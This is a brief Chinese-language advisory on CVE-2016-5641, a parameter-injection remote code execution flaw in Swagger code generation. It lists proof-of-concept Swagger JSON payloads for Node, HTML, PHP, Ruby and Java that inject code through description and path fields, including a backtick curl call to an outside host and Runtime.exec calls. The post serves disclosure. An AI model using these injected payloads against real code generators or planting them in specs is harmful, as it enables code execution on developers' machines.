Swagger规格被广泛的使用在Html、PHP、Java和 Ruby等流行语言开发的应用中,其最近被曝出远程代码执行漏洞,潜在影响到了Java、PHP、NodeJS和 Ruby等流行语言开发的应用。这个漏洞的CVE编号为CVE-2016-5641。该漏洞属于参数注入漏洞,能够在Swagger JSON文件中嵌入恶意代码。如凡是使用Swagger API的应用程序都会受到影响。Rapid7社区的安全研究人员目前公开了该漏洞的技术细节和修补方案。

EXP

javascript (node)

“paths”: {          

     ”/a’);};};return exports;}));console.log(‘RCE’);(function(){}(this,function(){a=function(){b=function(){new Array(‘”: {  

html

“info”: { “description”: “<script>alert(1)</script>”,

php

“definitions”: {          

     ”d”: {              

          “type”: “object”,              

          “description”: “*/ echo system(chr(0x6c).chr(0×73)); /*”,  

ruby

“info”: {          

     ”description”: “=begin”,  

     ”title”: “=end `curl -X POST -d \”fizz=buzz\” http://requestb.in/1ftnzfy1`”  

Java

“paths”: {          

     ”/a\”; try{java.lang.Runtime.getRuntime().exec(\”ls\”);}catch(Exception e){} \”":   

修复简述

仔细检查Swagger特定语言的转义字符,比如对{}符号谨慎使用。